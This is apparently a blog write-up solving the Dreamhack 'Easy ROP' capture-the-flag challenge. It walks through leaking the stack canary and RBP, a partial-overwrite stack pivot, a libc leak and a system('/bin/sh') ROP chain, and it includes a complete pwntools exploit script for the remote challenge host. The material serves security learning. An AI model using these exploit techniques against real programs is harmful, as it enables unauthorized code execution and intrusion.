Skip to content
hoalvh
Go back

[Dreamhack.io] - Easy ROP

8 min read Edit page

Introduction

Before diving into the solution, let’s take a look at the binary information.

Information below is the result of the checksec command.

[*] '/home/hevian/pwnable/dreamhack/simeplerop/prob'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

As we can see here, the binary has full mitigations: Full RELRO, Canary, PIE enabled, NX enabled, SHSTK enabled, IBT enabled. So it’s a bit difficult to solve.

Reverse Engineering

After decompiling the binary, I realized that the challenge just provide a simple main function:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+Ch] [rbp-B4h]
  __int64 buf[22]; // [rsp+10h] [rbp-B0h] BYREF

  buf[21] = __readfsqword(0x28u);
  initialize(argc, argv, envp);
  memset(buf, 0, 160);
  puts("This is simple ROP challenge");
  for ( i = 0; i <= 1; ++i )
  {
    puts("OMG BOF");
    read(0, buf, 186uLL);
    printf("Here is your leak: %s\n", (const char *)buf);
  }
  return 0;
}

The binary uses read function to read input from stdin then use printf to print it out. But look at the printf function, it uses %s format specifier which means it will print the input as a string. However, the input is not null-terminated, so it will print until it encounters a null byte or the end of the buffer. Furthurmore, the buffer is declared as __int64 buf[22] which means it can hold 22 * 8 = 176 bytes, but the read function read 186 bytes. So there is a 10 bytes overflow.

The program allows us to input twice, how we can leverage this?

Leaking Canary and Stack RBP

First, let use pwndbg to debug the program. Here I set breakpoints at the read function and check the stack layout, we can see that the stack layout is as follows:

──────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────
b► 0x5cffafe0f36d <main+280>    call   read@plt                    <read@plt>
        fd: 0 (pipe:[26552])
        buf: 0x7fff0b5e8730 ◂— 0
        nbytes: 0xba

   0x5cffafe0f372 <main+285>    lea    rax, [rbp - 0xb0]
   0x5cffafe0f379 <main+292>    mov    rsi, rax
   0x5cffafe0f37c <main+295>    lea    rax, [rip + 0xca6]     RAX => 0x5cffafe10029 ◂— 'Here is your leak: %s\n'
   0x5cffafe0f383 <main+302>    mov    rdi, rax               RDI => 0x5cffafe10029 ◂— 'Here is your leak: %s\n'
   0x5cffafe0f386 <main+305>    mov    eax, 0                 EAX => 0
   0x5cffafe0f38b <main+310>    call   printf@plt                  <printf@plt>

   0x5cffafe0f390 <main+315>    add    dword ptr [rbp - 0xb4], 1
   0x5cffafe0f397 <main+322>    cmp    dword ptr [rbp - 0xb4], 1
   0x5cffafe0f39e <main+329>    jle    main+245                    <main+245>

   0x5cffafe0f3a0 <main+331>    mov    eax, 0                        EAX => 0
───────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────
00:0000│ rsp     0x7fff0b5e8720 ◂— 0xffffffffffffffff
01:0008-0b8     0x7fff0b5e8728 ◂— 0x40 /* '@' */
02:0010│ rax rsi 0x7fff0b5e8730 ◂— 0
... ↓            5 skipped
─────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────
0   0x5cffafe0f36d main+280
   1   0x7c599a22a1ca __libc_start_call_main+122
   2   0x7c599a22a28b __libc_start_main_impl+139
   3   0x5cffafe0f105 _start+37
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> tel
00:0000│ rsp     0x7fff0b5e8720 ◂— 0xffffffffffffffff
01:0008-0b8     0x7fff0b5e8728 ◂— 0x40 /* '@' */
02:0010│ rax rsi 0x7fff0b5e8730 ◂— 0
... ↓            5 skipped
pwndbg>
08:0040-080 0x7fff0b5e8760 ◂— 0
... ↓     7 skipped
pwndbg>
10:0080-040 0x7fff0b5e87a0 ◂— 0
... ↓     5 skipped
16:00b0-010 0x7fff0b5e87d0 —▸ 0x7fff0b5e88c0 —▸ 0x5cffafe0f0e0 (_start) ◂— endbr64
17:00b8-008 0x7fff0b5e87d8 ◂— 0x81647a09e7bbb100
pwndbg>
18:00c0│ rbp 0x7fff0b5e87e0 —▸ 0x7fff0b5e8880 —▸ 0x7fff0b5e88e0 ◂— 0
19:00c8+008 0x7fff0b5e87e8 —▸ 0x7c599a22a1ca (__libc_start_call_main+122) ◂— mov edi, eax
1a:00d0+010 0x7fff0b5e87f0 —▸ 0x7fff0b5e8830 —▸ 0x5cffafe11da0 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5cffafe0f180 (__do_global_dtors_aux) ◂— endbr64
1b:00d8+018 0x7fff0b5e87f8 —▸ 0x7fff0b5e8908 —▸ 0x7fff0b5e9b23 ◂— '/home/hevian/pwnable/dreamhack/simeplerop/prob_patched'
1c:00e0+020 0x7fff0b5e8800 ◂— 0x1afe0e040
1d:00e8+028 0x7fff0b5e8808 —▸ 0x5cffafe0f255 (main) ◂— endbr64
1e:00f0+030 0x7fff0b5e8810 —▸ 0x7fff0b5e8908 —▸ 0x7fff0b5e9b23 ◂— '/home/hevian/pwnable/dreamhack/simeplerop/prob_patched'
1f:00f8+038 0x7fff0b5e8818 ◂— 0x473cffdb399b4be5
pwndbg>

The buffer is read into 0x7fff0b5e8730 which is 168 bytes away from the stack canary. If we send 169 bytes of data, we can leak the stack canary and RBP register since the printf function will print out the data until it hits a null-byte.

But why is 169? This is because the canary is always end with a null-byte, so we need to send 168 bytes of data plus 1 byte to overwrite the null-byte of the canary.

So my first payload is:

payload1 = flat(
    b'A'*168,
    'B'
        )
sa(b'BOF\n', payload1)
ru(b'leak: ')
r(169)
canary = u64(b'\0' + r(7))
log.success(f"canary leak :{hex(canary)}")
stack_rbp = u64(r(6).ljust(8,b'\0'))
log.success(f"Stack RBP leak : {hex(stack_rbp)}")
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> tel
00:0000│ rsp 0x7fff0b5e8720 ◂— 0xffffffffffffffff
01:0008-0b8 0x7fff0b5e8728 ◂— 0x40 /* '@' */
02:0010│ rsi 0x7fff0b5e8730 ◂— 0x4141414141414141 ('AAAAAAAA')
... ↓        5 skipped
pwndbg>
08:0040-080 0x7fff0b5e8760 ◂— 0x4141414141414141 ('AAAAAAAA')
... ↓     7 skipped
pwndbg>
10:0080-040 0x7fff0b5e87a0 ◂— 0x4141414141414141 ('AAAAAAAA')
... ↓     6 skipped
17:00b8-008 0x7fff0b5e87d8 ◂— 0x81647a09e7bbb142
pwndbg>
18:00c0│ rbp 0x7fff0b5e87e0 —▸ 0x7fff0b5e8880 —▸ 0x7fff0b5e88e0 ◂— 0
19:00c8+008 0x7fff0b5e87e8 —▸ 0x7c599a22a1ca (__libc_start_call_main+122) ◂— mov edi, eax
1a:00d0+010 0x7fff0b5e87f0 —▸ 0x7fff0b5e8830 —▸ 0x5cffafe11da0 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5cffafe0f180 (__do_global_dtors_aux) ◂— endbr64
1b:00d8+018 0x7fff0b5e87f8 —▸ 0x7fff0b5e8908 —▸ 0x7fff0b5e9b23 ◂— '/home/hevian/pwnable/dreamhack/simeplerop/prob_patched'
1c:00e0+020 0x7fff0b5e8800 ◂— 0x1afe0e040
1d:00e8+028 0x7fff0b5e8808 —▸ 0x5cffafe0f255 (main) ◂— endbr64
1e:00f0+030 0x7fff0b5e8810 —▸ 0x7fff0b5e8908 —▸ 0x7fff0b5e9b23 ◂— '/home/hevian/pwnable/dreamhack/simeplerop/prob_patched'
1f:00f8+038 0x7fff0b5e8818 ◂— 0x473cffdb399b4be5
pwndbg>

Since we overwrite the last byte of the canary, the printf function will print out the canary and the RBP register.

Stack Pivoting

Now we have the canary and old_rbp. But we have a problem: the for loop in main only runs twice. We just used our first input to leak the canary. For the second input, we need to leak the libc base address to build our ROP chain.

However, if we look closely at the main function, there is a memset(buf, 0, 160) at the beginning. This means our buffer is filled with null bytes. If we just send a few bytes, printf will stop at the first null byte and won’t reach the libc pointer (saved RIP) located at rbp + 8. Furthermore, if we send a long payload to bridge the gap, the program will terminate after this second loop, leaving us no chance to execute a shell.

To achieve this, we can force the program to restart by manipulating the return address. Notice the saved RIP at rbp + 8 is __libc_start_call_main+122 (ending with 0x2a1ca).

17:00b8-008 0x7fff0b5e87d8 ◂— 0x81647a09e7bbb142
pwndbg>
18:00c0│ rbp 0x7fff0b5e87e0 —▸ 0x7fff0b5e8880 —▸ 0x7fff0b5e88e0 ◂— 0
19:00c8+008 0x7fff0b5e87e8 —▸ 0x7c599a22a1ca (__libc_start_call_main+122) ◂— mov edi, eax

Inside libc, there is a very useful gadget: leave; ret (ending with 0x299d2).

$ ROPgadget --binary libc.so.6 --only "leave|ret" | grep "leave ; ret"
0x00000000000299d2 : leave ; ret
0x0000000000180363 : leave ; ret 0xfff9

Because they share the same base address, we can perform a Partial Overwrite. By overwriting the last 2 bytes of the saved RIP with \xd2\x99, we change it into a leave; ret gadget.

To make this leave; ret gadget jump to a useful location, we will forge the RBP. We set fake_rbp = old_rbp + 0x38. But why 0x38?

  • The leave instruction does mov rsp, rbp and pop rbp.
  • This moves rsp to old_rbp + 0x40.
  • If we inspect the stack, old_rbp + 0x40 conveniently holds a pointer to _start.

This effectively restarts the binary entirely, giving us a fresh “Life 2” while bypassing the destructive memset.

leave_return = p16(0x0000000000099d2)
old_rbp = stack_rbp
pivot_1 = old_rbp+0x38
payload2 = flat(
    b'A'*168,
    canary,
    pivot_1,
    leave_return
        )
sa(b'BOF\n', payload2)

Leaking Libc Base

Since the stack frame is shifted, the old libc pointer from Life 1 is now safely resting below our new buffer, untouched by the new memset. The distance from the start of our new buffer to this old libc pointer is exactly 184 bytes (168 padding + 8 canary + 8 old rbp).

By sending a payload of exactly 184 As, we crush the null-byte of the canary again and fill the entire gap. The printf function will print all 184 As and immediately spill out the 6-byte libc address at the end.

payload3 = flat(
    b'A'*184
        )
sa(b'BOF\n',payload3)
ru(b'leak: ')
r(184)
libc_leak = u64(r(6).ljust(8, b'\0'))
libc.address = libc_leak - 0x2a1ca
log.success(f"[*] Libc Base: {hex(libc.address)}")

ROP chain

We have the libc base, the canary, and the stack layout is completely under our control.

We can build a standard system(‘/bin/sh’) ROP chain at the beginning of our buffer. To trigger it, we calculate the exact location of our buffer based on the old_rbp we leaked earlier: fake_rbp_final = old_rbp - 336 -8 -30- 0xa-8.


rop = ROP(libc)
#rop.raw(rop.ret.address)
rop.system(next(libc.search(b'/bin/sh\x00')))

fake_rbp_final = old_rbp - 336 -8 -30- 0xa-8

payload4 = flat(
    rop.chain().ljust(168, b'\0'),
    canary,
    fake_rbp_final,
    leave_return
)

sa(b'BOF\n', payload4)

Here is our stack layout:

pwndbg> tel
00:0000│ rsp 0x7fff0b5e86f0 ◂— 1
01:0008-0b8 0x7fff0b5e86f8 ◂— 0x100000000
02:0010│ rsi 0x7fff0b5e8700 —▸ 0x7c599a30f78b (__spawnix+875) ◂— pop rdi
03:0018-0a8 0x7fff0b5e8708 —▸ 0x7c599a3cb42f ◂— 0x68732f6e69622f /* '/bin/sh' */
04:0020-0a0 0x7fff0b5e8710 —▸ 0x7c599a258750 (system) ◂— endbr64
05:0028-098 0x7fff0b5e8718 ◂— 0

After the second leave ; ret instruction, the program will continue executing the ROP chain we built, begin at 0x7fff0b5e8700.

Full solve script

#!/usr/bin/env python3
from pwn import *
import os

current_dir = os.getcwd()
exe = ELF("./prob_patched")
context.binary = exe
context.log_level = 'debug'
context.terminal = ["cmd.exe", "/c", "start", "wsl.exe", "-e"]
#context.terminal = ["wt.exe", "-w", "0", "split-pane", "wsl.exe", "-e"]
# context.arch = 'amd64'

libc = ELF("./libc.so.6", checksec=False)
ld = ELF("./ld-2.39.so", checksec=False)

def sla(delim, data): return p.sendlineafter(delim, data)
def sa(delim, data):  return p.sendafter(delim, data)
def sl(data):         return p.sendline(data)
def s(data):          return p.send(data)
def ru(delim):        return p.recvuntil(delim)
def rl():             return p.recvline()
def r(n):             return p.recvn(n)

gdbscript = '''
set solib-search-path {}
b*main+280
c
'''.format(current_dir, current_dir)

def conn():
    if args.REMOTE:
        return remote("host8.dreamhack.games", 19855)
    elif args.GDB:
        return gdb.debug([exe.path], gdbscript=gdbscript)
    else:
        # return process([ld.path, exe.path], env={"LD_PRELOAD": libc.path})
        return process([exe.path])

p = conn()
# --- Exploit ---

# LIFE 1 - LOOP 1, leaking canary

payload1 = flat(
    b'A'*168,
    'B'
        )
sa(b'BOF\n', payload1)
ru(b'leak: ')
r(169)
canary = u64(b'\0' + r(7))
log.success(f"canary leak :{hex(canary)}")
stack_rbp = u64(r(6).ljust(8,b'\0'))
log.success(f"Stack RBP leak : {hex(stack_rbp)}")
# LIFE 1 - LOOP 2, restart the program

leave_return = p16(0x0000000000099d2)
main_address = p64(0xa1ca)
old_rbp = stack_rbp
pivot_1 = old_rbp+0x38
payload2 = flat(
    b'A'*168,
    canary,
    pivot_1,
    leave_return
        )
sa(b'BOF\n', payload2)

# LIFE 2 - LOOP 1, leak libc
log.info("=== LIFE 2: LEAKING LIBC ===")

payload3 = flat(
    b'A'*184
        )
sa(b'BOF\n',payload3)
ru(b'leak: ')
r(184)
libc_leak = u64(r(6).ljust(8, b'\0'))
libc.address = libc_leak - 0x2a1ca
log.success(f"[*] Libc Base: {hex(libc.address)}")

# LIFE 2 - LOOP 2, creating shell

rop = ROP(libc)
#rop.raw(rop.ret.address)
rop.system(next(libc.search(b'/bin/sh\x00')))
fake_rbp_final = old_rbp - 336 -8 -30- 0xa-8
payload4 = flat(
    rop.chain().ljust(168, b'\0'),
    canary,
    fake_rbp_final,
    leave_return
)
sa(b'BOF\n', payload4)

p.interactive()


Edit page